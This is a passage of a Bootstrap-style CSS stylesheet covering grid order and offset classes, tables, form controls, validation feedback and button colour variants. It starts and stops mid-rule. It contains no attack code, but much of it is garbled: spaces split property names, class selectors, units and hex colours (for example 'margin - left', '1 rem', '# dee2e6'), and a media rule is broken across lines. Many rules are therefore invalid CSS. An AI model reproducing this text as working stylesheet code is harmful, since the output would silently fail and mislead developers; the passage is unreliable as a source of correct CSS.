.order - xl - 6 {
-webkit - box - ordinal - group: 7; - ms - flex - order: 6;
order: 6
}
.order - xl - 7 {
-webkit - box - ordinal - group: 8; - ms - flex - order: 7;
order: 7
}
.order - xl - 8 {
-webkit - box - ordinal - group: 9; - ms - flex - order: 8;
order: 8
}
.order - xl - 9 {
-webkit - box - ordinal - group: 10; - ms - flex - order: 9;
order: 9
}
.order - xl - 10 {
-webkit - box - ordinal - group: 11; - ms - flex - order: 10;
order: 10
}
.order - xl - 11 {
-webkit - box - ordinal - group: 12; - ms - flex - order: 11;
order: 11
}
.order - xl - 12 {
-webkit - box - ordinal - group: 13; - ms - flex - order: 12;
order: 12
}
.offset - xl - 0 {
margin - left: 0
}
.offset - xl - 1 {
margin - left: 8.333333 %
}
.offset - xl - 2 {
margin - left: 16.666667 %
}
.offset - xl - 3 {
margin - left: 25 %
}
.offset - xl - 4 {
margin - left: 33.333333 %
}
.offset - xl - 5 {
margin - left: 41.666667 %
}
.offset - xl - 6 {
margin - left: 50 %
}
.offset - xl - 7 {
margin - left: 58.333333 %
}
.offset - xl - 8 {
margin - left: 66.666667 %
}
.offset - xl - 9 {
margin - left: 75 %
}
.offset - xl - 10 {
margin - left: 83.333333 %
}
.offset - xl - 11 {
margin - left: 91.666667 %
}
}
.table {
width: 100 % ;
max - width: 100 % ;
margin - bottom: 1 rem;
background - color: transparent
}
.table td,
.table th {
padding: .75 rem;
vertical - align: top;
border - top: 1 px solid # dee2e6
}
.table thead th {
vertical - align: bottom;
border - bottom: 2 px solid # dee2e6
}
.table tbody + tbody {
border - top: 2 px solid # dee2e6
}
.table.table {
background - color: # fff
}
.table - sm td,
.table - sm th {
padding: .3 rem
}
.table - bordered {
border: 1 px solid # dee2e6
}
.table - bordered td,
.table - bordered th {
border: 1 px solid # dee2e6
}
.table - bordered thead td,
.table - bordered thead th {
border - bottom - width: 2 px
}
.table - striped tbody tr: nth - of - type(odd) {
background - color: rgba(0, 0, 0, .05)
}
.table - hover tbody tr: hover {
background - color: rgba(0, 0, 0, .075)
}
.table - primary,
.table - primary > td,
.table - primary > th {
background - color: # b8daff
}
.table - hover.table - primary: hover {
background - color: #9fcdff
}
.table-hover .table-primary:hover>td,
.table-hover .table-primary:hover>th {
background-color: # 9 fcdff
}
.table - secondary,
.table - secondary > td,
.table - secondary > th {
background - color: # d6d8db
}
.table - hover.table - secondary: hover {
background - color: # c8cbcf
}
.table - hover.table - secondary: hover > td,
.table - hover.table - secondary: hover > th {
background - color: # c8cbcf
}
.table - success,
.table - success > td,
.table - success > th {
background - color: # c3e6cb
}
.table - hover.table - success: hover {
background - color: # b1dfbb
}
.table - hover.table - success: hover > td,
.table - hover.table - success: hover > th {
background - color: # b1dfbb
}
.table - info,
.table - info > td,
.table - info > th {
background - color: # bee5eb
}
.table - hover.table - info: hover {
background - color: # abdde5
}
.table - hover.table - info: hover > td,
.table - hover.table - info: hover > th {
background - color: # abdde5
}
.table - warning,
.table - warning > td,
.table - warning > th {
background - color: # ffeeba
}
.table - hover.table - warning: hover {
background - color: # ffe8a1
}
.table - hover.table - warning: hover > td,
.table - hover.table - warning: hover > th {
background - color: # ffe8a1
}
.table - danger,
.table - danger > td,
.table - danger > th {
background - color: # f5c6cb
}
.table - hover.table - danger: hover {
background - color: # f1b0b7
}
.table - hover.table - danger: hover > td,
.table - hover.table - danger: hover > th {
background - color: # f1b0b7
}
.table - light,
.table - light > td,
.table - light > th {
background - color: # fdfdfe
}
.table - hover.table - light: hover {
background - color: # ececf6
}
.table - hover.table - light: hover > td,
.table - hover.table - light: hover > th {
background - color: # ececf6
}
.table - dark,
.table - dark > td,
.table - dark > th {
background - color: # c6c8ca
}
.table - hover.table - dark: hover {
background - color: # b9bbbe
}
.table - hover.table - dark: hover > td,
.table - hover.table - dark: hover > th {
background - color: # b9bbbe
}
.table - active,
.table - active > td,
.table - active > th {
background - color: rgba(0, 0, 0, .075)
}
.table - hover.table - active: hover {
background - color: rgba(0, 0, 0, .075)
}
.table - hover.table - active: hover > td,
.table - hover.table - active: hover > th {
background - color: rgba(0, 0, 0, .075)
}
.table.thead - dark th {
color: # fff;
background - color: #212529;
border-color: # 32383e
}
.table.thead - light th {
color: #495057;
background-color: # e9ecef;
border - color: # dee2e6
}
.table - dark {
color: # fff;
background - color: #212529
}
.table-dark td,
.table-dark th,
.table-dark thead th {
border-color: # 32383e
}
.table - dark.table - bordered {
border: 0
}
.table - dark.table - striped tbody tr: nth - of - type(odd) {
background - color: rgba(255, 255, 255, .05)
}
.table - dark.table - hover tbody tr: hover {
background - color: rgba(255, 255, 255, .075)
}
@
media(max - width: 575.98 px) {
.table - responsive - sm {
display: block;
width: 100 % ;
overflow - x: auto; - webkit - overflow - scrolling: touch; - ms - overflow - style: -ms - autohiding - scrollbar
}
.table - responsive - sm > .table - bordered {
border: 0
}
}
@
media(max - width: 767.98 px) {
.table - responsive - md {
display: block;
width: 100 % ;
overflow - x: auto; - webkit - overflow - scrolling: touch; - ms - overflow - style: -ms - autohiding - scrollbar
}
.table - responsive - md > .table - bordered {
border: 0
}
}
@
media(max - width: 991.98 px) {
.table - responsive - lg {
display: block;
width: 100 % ;
overflow - x: auto; - webkit - overflow - scrolling: touch; - ms - overflow - style: -ms - autohiding - scrollbar
}
.table - responsive - lg > .table - bordered {
border: 0
}
}
@
media(max - width: 1199.98 px) {
.table - responsive - xl {
display: block;
width: 100 % ;
overflow - x: auto; - webkit - overflow - scrolling: touch; - ms - overflow - style: -ms - autohiding - scrollbar
}
.table - responsive - xl > .table - bordered {
border: 0
}
}
.table - responsive {
display: block;
width: 100 % ;
overflow - x: auto; - webkit - overflow - scrolling: touch; - ms - overflow - style: -ms - autohiding - scrollbar
}
.table - responsive > .table - bordered {
border: 0
}
.form - control {
display: block;
width: 100 % ;
padding: .375 rem.75 rem;
font - size: 1 rem;
line - height: 1.5;
color: #495057;
background-color: # fff;
background - clip: padding - box;
border: 1 px solid # ced4da;
border - radius: .25 rem;
transition: border - color.15 s ease - in -out,
box - shadow.15 s ease - in -out
}
.form - control::-ms - expand {
background - color: transparent;
border: 0
}
.form - control: focus {
color: #495057;
background-color: # fff;
border - color: #80bdff;
outline: 0;
box-shadow: 0 0 0 .2rem rgba(0, 123, 255, .25)
}
.form-control::-webkit-input-placeholder {
color: # 6 c757d;
opacity: 1
}
.form - control::-moz - placeholder {
color: #6c757d;
opacity: 1
}
.form-control:-ms-input-placeholder {
color: # 6 c757d;
opacity: 1
}
.form - control::-ms - input - placeholder {
color: #6c757d;
opacity: 1
}
.form-control::placeholder {
color: # 6 c757d;
opacity: 1
}
.form - control: disabled,
.form - control[readonly] {
background - color: # e9ecef;
opacity: 1
}
select.form - control: not([size]): not([multiple]) {
height: calc(2.25 rem + 2 px)
}
select.form - control: focus::-ms - value {
color: #495057;
background-color: # fff
}
.form - control - file,
.form - control - range {
display: block;
width: 100 %
}
.col - form - label {
padding - top: calc(.375 rem + 1 px);
padding - bottom: calc(.375 rem + 1 px);
margin - bottom: 0;
font - size: inherit;
line - height: 1.5
}
.col - form - label - lg {
padding - top: calc(.5 rem + 1 px);
padding - bottom: calc(.5 rem + 1 px);
font - size: 1.25 rem;
line - height: 1.5
}
.col - form - label - sm {
padding - top: calc(.25 rem + 1 px);
padding - bottom: calc(.25 rem + 1 px);
font - size: .875 rem;
line - height: 1.5
}
.form - control - plaintext {
display: block;
width: 100 % ;
padding - top: .375 rem;
padding - bottom: .375 rem;
margin - bottom: 0;
line - height: 1.5;
background - color: transparent;
border: solid transparent;
border - width: 1 px 0
}
.form - control - plaintext.form - control - lg,
.form - control - plaintext.form - control - sm,
.input - group - lg > .form - control - plaintext.form - control,
.input - group - lg > .input - group - append > .form - control - plaintext.btn,
.input - group - lg > .input - group - append > .form - control - plaintext.input - group - text,
.input - group - lg > .input - group - prepend > .form - control - plaintext.btn,
.input - group - lg > .input - group - prepend > .form - control - plaintext.input - group - text,
.input - group - sm > .form - control - plaintext.form - control,
.input - group - sm > .input - group - append > .form - control - plaintext.btn,
.input - group - sm > .input - group - append > .form - control - plaintext.input - group - text,
.input - group - sm > .input - group - prepend > .form - control - plaintext.btn,
.input - group - sm > .input - group - prepend > .form - control - plaintext.input - group - text {
padding - right: 0;
padding - left: 0
}
.form - control - sm,
.input - group - sm > .form - control,
.input - group - sm > .input - group - append > .btn,
.input - group - sm > .input - group - append > .input - group - text,
.input - group - sm > .input - group - prepend > .btn,
.input - group - sm > .input - group - prepend > .input - group - text {
padding: .25 rem.5 rem;
font - size: .875 rem;
line - height: 1.5;
border - radius: .2 rem
}
.input - group - sm > .input - group - append > select.btn: not([size]): not([multiple]),
.input - group - sm > .input - group - append > select.input - group - text: not([size]): not([multiple]),
.input - group - sm > .input - group - prepend > select.btn: not([size]): not([multiple]),
.input - group - sm > .input - group - prepend > select.input - group - text: not([size]): not([multiple]),
.input - group - sm > select.form - control: not([size]): not([multiple]),
select.form - control - sm: not([size]): not([multiple]) {
height: calc(1.8125 rem + 2 px)
}
.form - control - lg,
.input - group - lg > .form - control,
.input - group - lg > .input - group - append > .btn,
.input - group - lg > .input - group - append > .input - group - text,
.input - group - lg > .input - group - prepend > .btn,
.input - group - lg > .input - group - prepend > .input - group - text {
padding: .5 rem 1 rem;
font - size: 1.25 rem;
line - height: 1.5;
border - radius: .3 rem
}
.input - group - lg > .input - group - append > select.btn: not([size]): not([multiple]),
.input - group - lg > .input - group - append > select.input - group - text: not([size]): not([multiple]),
.input - group - lg > .input - group - prepend > select.btn: not([size]): not([multiple]),
.input - group - lg > .input - group - prepend > select.input - group - text: not([size]): not([multiple]),
.input - group - lg > select.form - control: not([size]): not([multiple]),
select.form - control - lg: not([size]): not([multiple]) {
height: calc(2.875 rem + 2 px)
}
.form - group {
margin - bottom: 1 rem
}
.form - text {
display: block;
margin - top: .25 rem
}
.form - row {
display: -webkit - box;
display: -ms - flexbox;
display: flex; - ms - flex - wrap: wrap;
flex - wrap: wrap;
margin - right: -5 px;
margin - left: -5 px
}
.form - row > .col,
.form - row > [class *= col - ] {
padding - right: 5 px;
padding - left: 5 px
}
.form - check {
position: relative;
display: block;
padding - left: 1.25 rem
}
.form - check - input {
position: absolute;
margin - top: .3 rem;
margin - left: -1.25 rem
}
.form - check - input: disabled~.form - check - label {
color: #6c757d
}
.form-check-label {
margin-bottom: 0
}
.form-check-inline {
display: -webkit-inline-box;
display: -ms-inline-flexbox;
display: inline-flex;
-webkit-box-align: center;
-ms-flex-align: center;
align-items: center;
padding-left: 0;
margin-right: .75rem
}
.form-check-inline .form-check-input {
position: static;
margin-top: 0;
margin-right: .3125rem;
margin-left: 0
}
.valid-feedback {
display: none;
width: 100%;
margin-top: .25rem;
font-size: 80%;
color: # 28 a745
}
.valid - tooltip {
position: absolute;
top: 100 % ;
z - index: 5;
display: none;
max - width: 100 % ;
padding: .5 rem;
margin - top: .1 rem;
font - size: .875 rem;
line - height: 1;
color: # fff;
background - color: rgba(40, 167, 69, .8);
border - radius: .2 rem
}
.custom - select.is - valid,
.form - control.is - valid,
.was - validated.custom - select: valid,
.was - validated.form - control: valid {
border - color: #28a745
}
.custom-select.is-valid:focus,
.form-control.is-valid:focus,
.was-validated .custom-select:valid:focus,
.was-validated .form-control:valid:focus {
border-color: # 28 a745;
box - shadow: 0 0 0.2 rem rgba(40, 167, 69, .25)
}
.custom - select.is - valid~.valid - feedback,
.custom - select.is - valid~.valid - tooltip,
.form - control.is - valid~.valid - feedback,
.form - control.is - valid~.valid - tooltip,
.was - validated.custom - select: valid~.valid - feedback,
.was - validated.custom - select: valid~.valid - tooltip,
.was - validated.form - control: valid~.valid - feedback,
.was - validated.form - control: valid~.valid - tooltip {
display: block
}
.form - check - input.is - valid~.form - check - label,
.was - validated.form - check - input: valid~.form - check - label {
color: #28a745
}
.form-check-input.is-valid~.valid-feedback,
.form-check-input.is-valid~.valid-tooltip,
.was-validated .form-check-input:valid~.valid-feedback,
.was-validated .form-check-input:valid~.valid-tooltip {
display: block
}
.custom-control-input.is-valid~.custom-control-label,
.was-validated .custom-control-input:valid~.custom-control-label {
color: # 28 a745
}
.custom - control - input.is - valid~.custom - control - label::before,
.was - validated.custom - control - input: valid~.custom - control - label::before {
background - color: #71dd8a
}
.custom-control-input.is-valid~.valid-feedback,
.custom-control-input.is-valid~.valid-tooltip,
.was-validated .custom-control-input:valid~.valid-feedback,
.was-validated .custom-control-input:valid~.valid-tooltip {
display: block
}
.custom-control-input.is-valid:checked~.custom-control-label::before,
.was-validated .custom-control-input:valid:checked~.custom-control-label::before {
background-color: # 34 ce57
}
.custom - control - input.is - valid: focus~.custom - control - label::before,
.was - validated.custom - control - input: valid: focus~.custom - control - label::before {
box - shadow: 0 0 0 1 px # fff, 0 0 0.2 rem rgba(40, 167, 69, .25)
}
.custom - file - input.is - valid~.custom - file - label,
.was - validated.custom - file - input: valid~.custom - file - label {
border - color: #28a745
}
.custom-file-input.is-valid~.custom-file-label::before,
.was-validated .custom-file-input:valid~.custom-file-label::before {
border-color: inherit
}
.custom-file-input.is-valid~.valid-feedback,
.custom-file-input.is-valid~.valid-tooltip,
.was-validated .custom-file-input:valid~.valid-feedback,
.was-validated .custom-file-input:valid~.valid-tooltip {
display: block
}
.custom-file-input.is-valid:focus~.custom-file-label,
.was-validated .custom-file-input:valid:focus~.custom-file-label {
box-shadow: 0 0 0 .2rem rgba(40, 167, 69, .25)
}
.invalid-feedback {
display: none;
width: 100%;
margin-top: .25rem;
font-size: 80%;
color: # dc3545
}
.invalid - tooltip {
position: absolute;
top: 100 % ;
z - index: 5;
display: none;
max - width: 100 % ;
padding: .5 rem;
margin - top: .1 rem;
font - size: .875 rem;
line - height: 1;
color: # fff;
background - color: rgba(220, 53, 69, .8);
border - radius: .2 rem
}
.custom - select.is - invalid,
.form - control.is - invalid,
.was - validated.custom - select: invalid,
.was - validated.form - control: invalid {
border - color: # dc3545
}
.custom - select.is - invalid: focus,
.form - control.is - invalid: focus,
.was - validated.custom - select: invalid: focus,
.was - validated.form - control: invalid: focus {
border - color: # dc3545;
box - shadow: 0 0 0.2 rem rgba(220, 53, 69, .25)
}
.custom - select.is - invalid~.invalid - feedback,
.custom - select.is - invalid~.invalid - tooltip,
.form - control.is - invalid~.invalid - feedback,
.form - control.is - invalid~.invalid - tooltip,
.was - validated.custom - select: invalid~.invalid - feedback,
.was - validated.custom - select: invalid~.invalid - tooltip,
.was - validated.form - control: invalid~.invalid - feedback,
.was - validated.form - control: invalid~.invalid - tooltip {
display: block
}
.form - check - input.is - invalid~.form - check - label,
.was - validated.form - check - input: invalid~.form - check - label {
color: # dc3545
}
.form - check - input.is - invalid~.invalid - feedback,
.form - check - input.is - invalid~.invalid - tooltip,
.was - validated.form - check - input: invalid~.invalid - feedback,
.was - validated.form - check - input: invalid~.invalid - tooltip {
display: block
}
.custom - control - input.is - invalid~.custom - control - label,
.was - validated.custom - control - input: invalid~.custom - control - label {
color: # dc3545
}
.custom - control - input.is - invalid~.custom - control - label::before,
.was - validated.custom - control - input: invalid~.custom - control - label::before {
background - color: # efa2a9
}
.custom - control - input.is - invalid~.invalid - feedback,
.custom - control - input.is - invalid~.invalid - tooltip,
.was - validated.custom - control - input: invalid~.invalid - feedback,
.was - validated.custom - control - input: invalid~.invalid - tooltip {
display: block
}
.custom - control - input.is - invalid: checked~.custom - control - label::before,
.was - validated.custom - control - input: invalid: checked~.custom - control - label::before {
background - color: # e4606d
}
.custom - control - input.is - invalid: focus~.custom - control - label::before,
.was - validated.custom - control - input: invalid: focus~.custom - control - label::before {
box - shadow: 0 0 0 1 px # fff, 0 0 0.2 rem rgba(220, 53, 69, .25)
}
.custom - file - input.is - invalid~.custom - file - label,
.was - validated.custom - file - input: invalid~.custom - file - label {
border - color: # dc3545
}
.custom - file - input.is - invalid~.custom - file - label::before,
.was - validated.custom - file - input: invalid~.custom - file - label::before {
border - color: inherit
}
.custom - file - input.is - invalid~.invalid - feedback,
.custom - file - input.is - invalid~.invalid - tooltip,
.was - validated.custom - file - input: invalid~.invalid - feedback,
.was - validated.custom - file - input: invalid~.invalid - tooltip {
display: block
}
.custom - file - input.is - invalid: focus~.custom - file - label,
.was - validated.custom - file - input: invalid: focus~.custom - file - label {
box - shadow: 0 0 0.2 rem rgba(220, 53, 69, .25)
}
.form - inline {
display: -webkit - box;
display: -ms - flexbox;
display: flex; - webkit - box - orient: horizontal; - webkit - box - direction: normal; - ms - flex - flow: row wrap;
flex - flow: row wrap; - webkit - box - align: center; - ms - flex - align: center;
align - items: center
}
.form - inline.form - check {
width: 100 %
}
@
media(min - width: 576 px) {
.form - inline label {
display: -webkit - box;
display: -ms - flexbox;
display: flex; - webkit - box - align: center; - ms - flex - align: center;
align - items: center; - webkit - box - pack: center; - ms - flex - pack: center;
justify - content: center;
margin - bottom: 0
}
.form - inline.form - group {
display: -webkit - box;
display: -ms - flexbox;
display: flex; - webkit - box - flex: 0; - ms - flex: 0 0 auto;
flex: 0 0 auto; - webkit - box - orient: horizontal; - webkit - box - direction: normal; - ms - flex - flow: row wrap;
flex - flow: row wrap; - webkit - box - align: center; - ms - flex - align: center;
align - items: center;
margin - bottom: 0
}
.form - inline.form - control {
display: inline - block;
width: auto;
vertical - align: middle
}
.form - inline.form - control - plaintext {
display: inline - block
}
.form - inline.input - group {
width: auto
}
.form - inline.form - check {
display: -webkit - box;
display: -ms - flexbox;
display: flex; - webkit - box - align: center; - ms - flex - align: center;
align - items: center; - webkit - box - pack: center; - ms - flex - pack: center;
justify - content: center;
width: auto;
padding - left: 0
}
.form - inline.form - check - input {
position: relative;
margin - top: 0;
margin - right: .25 rem;
margin - left: 0
}
.form - inline.custom - control {
-webkit - box - align: center; - ms - flex - align: center;
align - items: center; - webkit - box - pack: center; - ms - flex - pack: center;
justify - content: center
}
.form - inline.custom - control - label {
margin - bottom: 0
}
}
.btn {
display: inline - block;
font - weight: 400;
text - align: center;
white - space: nowrap;
vertical - align: middle; - webkit - user - select: none; - moz - user - select: none; - ms - user - select: none;
user - select: none;
border: 1 px solid transparent;
padding: .375 rem.75 rem;
font - size: 1 rem;
line - height: 1.5;
border - radius: .25 rem;
transition: color.15 s ease - in -out,
background - color.15 s ease - in -out,
border - color.15 s ease - in -out,
box - shadow.15 s ease - in -out
}
.btn: focus,
.btn: hover {
text - decoration: none
}
.btn.focus,
.btn: focus {
outline: 0;
box - shadow: 0 0 0.2 rem rgba(0, 123, 255, .25)
}
.btn.disabled,
.btn: disabled {
opacity: .65
}
.btn: not(: disabled): not(.disabled) {
cursor: pointer
}
.btn: not(: disabled): not(.disabled).active,
.btn: not(: disabled): not(.disabled): active {
background - image: none
}
a.btn.disabled,
fieldset: disabled a.btn {
pointer - events: none
}
.btn - primary {
color: # fff;
background - color: #007bff;
border-color: # 007 bff
}
.btn - primary: hover {
color: # fff;
background - color: #0069d9;
border-color: # 0062 cc
}
.btn - primary.focus,
.btn - primary: focus {
box - shadow: 0 0 0.2 rem rgba(0, 123, 255, .5)
}
.btn - primary.disabled,
.btn - primary: disabled {
color: # fff;
background - color: #007bff;
border-color: # 007 bff
}
.btn - primary: not(: disabled): not(.disabled).active,
.btn - primary: not(: disabled): not(.disabled): active,
.show > .btn - primary.dropdown - toggle {
color: # fff;
background - color: #0062cc;
border-color: # 005 cbf
}
.btn - primary: not(: disabled): not(.disabled).active: focus,
.btn - primary: not(: disabled): not(.disabled): active: focus,
.show > .btn - primary.dropdown - toggle: focus {
box - shadow: 0 0 0.2 rem rgba(0, 123, 255, .5)
}
.btn - secondary {
color: # fff;
background - color: #6c757d;
border-color: # 6 c757d
}
.btn - secondary: hover {
color: # fff;
background - color: #5a6268;
border-color: # 545 b62
}
.btn - secondary.focus,
.btn - secondary: focus {
box - shadow: 0 0 0.2 rem rgba(108, 117, 125, .5)
}
.btn - secondary.disabled,
.btn - secondary: disabled {
color: # fff;
background - color: #6c757d;
border-color: # 6 c757d
}
.btn - secondary: not(: disabled): not(.disabled).active,
.btn - secondary: not(: disabled): not(.disabled): active,
.show > .btn - secondary.dropdown - toggle {
color: # fff;
background - color: #545b62;
border-color: # 4e555 b
}
.btn - secondary: not(: disabled): not(.disabled).active: focus,
.btn - secondary: not(: disabled): not(.disabled): active: focus,
.show > .btn - secondary.dropdown - toggle: focus {
box - shadow: 0 0 0.2 rem rgba(108, 117, 125, .5)
}
.btn - success {
color: # fff;
background - color: #28a745;
border-color: # 28 a745
}
.btn - success: hover {
color: # fff;
background - color: #218838;
border-color: # 1e7 e34
}
.btn - success.focus,
.btn - success: focus {
box - shadow: 0 0 0.2 rem rgba(40, 167, 69, .5)
}
.btn - success.disabled,
.btn - success: disabled {
color: # fff;
background - color: #28a745;
border-color: # 28 a745
}
.btn - success: not(: disabled): not(.disabled).active,
.btn - success: not(: disabled): not(.disabled): active,
.show > .btn - success.dropdown - toggle {
color: # fff;
background - color: #1e7e34;
border-color: # 1 c7430
}
.btn - success: not(: disabled): not(.disabled).active: focus,
.btn - success: not(: disabled): not(.disabled): active: focus,
.show > .btn - success.dropdown - toggle: focus {
box - shadow: 0 0 0.2 rem rgba(40, 167, 69, .5)
}
.btn - info {
color: # fff;
background - color: #17a2b8;
border-color: # 17 a2b8
}
.btn - info: hover {
color: # fff;
background - color: #138496;
border-color: # 117 a8b
}
.btn - info.focus,
.btn - info: focus {
box - shadow: 0 0 0.2 rem rgba(23, 162, 184, .5)
}
.btn - info.disabled,
.btn - info: disabled {
color: # fff;
background - color: #17a2b8;
border-color: # 17 a2b8
}
.btn - info: not(: disabled): not(.disabled).active,
.btn - info: not(: disabled): not(.disabled): active,
.show > .btn - info.dropdown - toggle {
color: # fff;
background - color: #117a8b;
border-color: # 10707 f
}
.btn - info: not(: disabled): not(.disabled).active: focus,
.btn - info: not(: disabled): not(.disabled): active: focus,
.show > .btn - info.dropdown - toggle: focus {
box - shadow: 0 0 0.2 rem rgba(23, 162, 184, .5)
}
.btn - warning {
color: #212529;
background-color: # ffc107;
border - color: # ffc107
}
.btn - warning: hover {
color: #212529;
background-color: # e0a800;
border - color: # d39e00
}
.btn - warning.focus,
.btn - warning: focus {
box - shadow: 0 0 0.2 rem rgba(255, 193, 7, .5)
}
.btn - warning.disabled,
.btn - warning: disabled {
color: #212529;
background-color: # ffc107;
border - color: # ffc107
}
.btn - warning: not(: disabled): not(.disabled).active,
.btn - warning: not(: disabled): not(.disabled): active,
.show > .btn - warning.dropdown - toggle {
color: #212529;
background-color: # d39e00;
border - color: # c69500
}
.btn - warning: not(: disabled): not(.disabled).active: focus,
.btn - warning: not(: disabled): not(.disabled): active: focus,
.show > .btn - warning.dropdown - toggle: focus {
box - shadow: 0 0 0.2 rem rgba(255, 193, 7, .5)
}
.btn - danger {
color: # fff;
background - color: # dc3545;
border - color: # dc3545
}
.btn - danger: hover {
color: # fff;
background - color: # c82333;
border - color: # bd2130
}
.btn - danger.focus,
.btn - danger: focus {
box - shadow: 0 0 0.2 rem rgba(220, 53, 69, .5)
}
.btn - danger.disabled,
.btn - danger: disabled {
color: # fff;
background - color: # dc3545;
border - color: # dc3545
}
.btn - danger: not(: disabled): not(.disabled).active,
.btn - danger: not(: disabled): not(.disabled): active,
.show > .btn - danger.dropdown - toggle {
color: # fff;
background - color: # bd2130;
border - color: # b21f2d
}
.btn - danger: not(: disabled): not(.disabled).active: focus,
.btn - danger: not(: disabled): not(.disabled): active: focus,
.show > .btn - danger.dropdown - toggle: focus {
box - shadow: 0 0 0.2 rem rgba(220, 53, 69, .5)
}
.btn - light {
color: #212529;
background-color: # f8f9fa;
border - color: # f8f9fa
}
.btn - light: hover {
color: #212529;
background-color: # e2e6ea;
border - color: # dae0e5
}
.btn - light.focus,
.btn - light: focus {
box - shadow: 0 0 0.2 rem rgba(248, 249, 250, .5)
}
.btn - light.disabled,
.btn - light: disabled {
color: #212529;
background-color: # f8f9fa;
border - color: # f8f9fa
}
.btn - light: not(: disabled): not(.disabled).active,
.btn - light: not(: disabled): not(.disabled): active,
.show > .btn - light.dropdown - toggle {
color: #212529;
background-color: # dae0e5;
border - color: # d3d9df
}
.btn - light: not(: disabled): not(.disabled).active: focus,
.btn - light: not(: disabled): not(.disabled): active: focus,
.show > .btn - light.dropdown - toggle: focus {
box - shadow: 0 0 0.2 rem rgba(248, 249, 250, .5)
}
.btn - dark {
color: # fff;
background - color: #343a40;
border-color: # 343 a40
}
.btn - dark: hover {
color: # fff;
background - color: #23272b;
border-color: # 1 d2124
}
.btn - dark.focus,
.btn - dark: focus {
box - shadow: 0 0 0.2 rem rgba(52, 58, 64, .5)
}
.btn - dark.disabled,
.btn - dark: disabled {
color: # fff;
background - color: #343a40;
border-color: # 343 a40
}
.btn - dark: not(: disabled): not(.disabled).active,
.btn - dark: not(: disabled): not(.disabled): active,
.show > .btn - dark.dropdown - toggle {
color: # fff;
background - color: #1d2124;
border-color: # 171 a1d
}
.btn - dark: not(: disabled): not(.disabled).active: focus,
.btn - dark: not(: disabled): not(.disabled): active: focus,
.show > .btn - dark.dropdown - toggle: focus {
box - shadow: 0 0 0.2 rem rgba(52, 58, 64, .5)
}
.btn - outline - primary {
color: #007bff;
background-color: transparent;
background-image: none;
border-color: # 007 bff
}
.btn - outline - primary: hover {
color: # fff;
background - color: #007bff;
border-color: # 007 bff
}
.btn - outline - primary.focus,
.btn - outline - primary: focus {
box - shadow: 0 0 0.2 rem rgba(0, 123, 255, .5)
}
.btn - outline - primary.disabled,
.btn - outline - primary: disabled {
color: #007bff;
background-color: transparent
}
.btn-outline-primary:not(:disabled):not(.disabled).active,
.btn-outline-primary:not(:disabled):not(.disabled):active,
.show>.btn-outline-primary.dropdown-toggle {
color: # fff;
background - color: #007bff;
border-color: # 007 bff
}
.btn - outline - primary: not(: disabled): not(.disabled).active: focus,
.btn - outline - primary: not(: disabled): not(.disabled): active: focus,
.show > .btn - outline - primary.dropdown - toggle: focus {
box - shadow: 0 0 0.2 rem rgba(0, 123, 255, .5)
}
.btn - outline - secondary {
color: #6c757d;
background-color: transparent;
background-image: none;
border-color: # 6 c757d
}
.btn - outline - secondary: hover {
color: # fff;
background - color: #6c757d;
border-color: # 6 c757d
}
.btn - outline - secondary.focus,
.btn - outline - secondary: focus {
box - shadow: 0 0 0.2 rem rgba(108, 117, 125, .5)
}
.btn - outline - secondary.disabled,
.btn - outline - secondary: disabled {
color: #6c757d;
background-color: transparent
}
.btn-outline-secondary:not(:disabled):not(.disabled).active,
.btn-outline-secondary:not(:disabled):not(.disabled):active,
.show>.btn-outline-secondary.dropdown-toggle {
color: # fff;
background - color: #6c757d;
border-color: # 6 c757d
}
.btn - outline - secondary: not(: disabled): not(.disabled).active: focus,
.btn - outline - secondary: not(: disabled): not(.disabled): active: focus,
.show > .btn - outline - secondary.dropdown - toggle: focus {
box - shadow: 0 0 0.2 rem rgba(108, 117, 125, .5)
}
.btn - outline - success {
color: #28a745;
background-color: transparent;
background-image: none;
border-color: # 28 a745
}
.btn - outline - success: hover {
color: # fff;
background - color: #28a745;
border-color: # 28 a745
}
.btn - outline - success.focus,
.btn - outline - success: focus {
box - shadow: 0 0 0.2 rem rgba(40, 167, 69, .5)
}
.btn - outline - success.disabled,
.btn - outline - success: disabled {
color: #28a745;
background-color: transparent
}
.btn-outline-success:not(:disabled):not(.disabled).active,
.btn-outline-success:not(:disabled):not(.disabled):active,
.show>.btn-outline-success.dropdown-toggle {
color: # fff;
background - color: #28a745;
border-color: # 28 a745
}
.btn - outline - success: not(: disabled): not(.disabled).active: focus,
.btn - outline - success: not(: disabled): not(.disabled): active: focus,
.show > .btn - outline - success.dropdown - toggle: focus {
box - shadow: 0 0 0.2 rem rgba(40, 167, 69, .5)
}
.btn - outline - info {
color: #17a2b8;
background-color: transparent;
background-image: none;
border-color: # 17 a2b8
}
.btn - outline - info: hover {
color: # fff;
background - color: #17a2b8;
border-color: # 17 a2b8
}
.btn - outline - info.focus,
.btn - outline - info: focus {
box - shadow: 0 0 0.2 rem rgba(23, 162, 184, .5)
}
.btn - outline - info.disabled,
.btn - outline - info: disabled {
color: #17a2b8;
background-color: transparent
}
.btn-outline-info:not(:disabled):not(.disabled).active,
.btn-outline-info:not(:disabled):not(.disabled):active,
.show>.btn-outline-info.dropdown-toggle {
color: # fff;
background - color: #17a2b8;
border-color: # 17 a2b8
}
.btn - outline - info: not(: disabled): not(.disabled).active: focus,
.btn - outline - info: not(: disabled): not(.disabled): active: focus,
.show > .btn - outline - info.dropdown - toggle: focus {
box - shadow: 0 0 0.2 rem rgba(23, 162, 184, .5)
}
.btn - outline - warning {
color: # ffc107;
background - color: transparent;
background - image: none;
border - color: # ffc107
}
.btn - outline - warning: hover {
color: #212529;
background-color: # ffc107;
border - color: # ffc107
}
.btn - outline - warning.focus,
.btn - outline - warning: focus {
box - shadow: 0 0 0.2 rem rgba(255, 193, 7, .5)
}
.btn - outline - warning.disabled,
.btn - outline - warning: disabled {
color: # ffc107;
background - color: transparent
}
.btn - outline - warning: not(: disabled): not(.disabled).active,
.btn - outline - warning: not(: disabled): not(.disabled): active,
.show > .btn - outline - warning.dropdown - toggle {
color: #212529;
background-color: # ffc107;
border - color: # ffc107
}
.btn - outline - warning: not(: disabled): not(.disabled).active: focus,
.btn - outline - warning: not(: disabled): not(.disabled): active: focus,
.show > .btn - outline - warning.dropdown - toggle: focus {
box - shadow: 0 0 0.2 rem rgba(255, 193, 7, .5)
}
.btn - outline - danger {
color: # dc3545;
background - color: transparent;
background - image: none;
border - color: # dc3545
}
.btn - outline - danger: hover {
color: # fff;
background - color: # dc3545;
border - color: # dc3545
}
.btn - outline - danger.focus,
.btn - outline - danger: focus {
box - shadow: 0 0 0.2 rem rgba(220, 53, 69, .5)
}
.btn - outline - danger.disabled,
